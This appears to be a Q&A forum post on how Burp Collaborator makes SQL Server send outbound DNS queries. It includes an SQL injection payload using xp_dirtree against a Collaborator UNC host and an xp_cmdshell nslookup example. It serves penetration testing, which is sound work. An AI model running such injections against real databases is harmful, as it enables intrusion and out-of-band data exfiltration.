Search code examples
sql-servert-sqldnsburp

How does Burp Collaborator send a DNS query via Sql Server and T-sql

How can Burp Collaborator send a DNS query via t-sql and Sql Server?

https://portswigger.net/burp/help/collaborator.html

I know you can use for example exec master..xp_cmdshell 'nslookup intel.com' or Dns.GetHostAddresses() in a stored procedure on SQL Server 2005 or 2008 as mentioned here: https://stackoverflow.com/a/967696/3850405

However not many servers allow xp_cmdshell today, rightfully so, but this means that Burp Collaborator uses something else. What? The connection only has to be outbound, nothing needs to be returned.

Solution

  • Found the answer, exec master.dbo.xp_dirtree. Sample: 

    ;exec master.dbo.xp_dirtree
'\\thezf54sgc10xfbulutcc702ito.burpcollaborator.net\plu'--

    http://releases.portswigger.net/2015/09/1627.html

    If you have Burp Suite Professional installed you can generate a link via Burp -> Burp Collaborator client and then poll for results.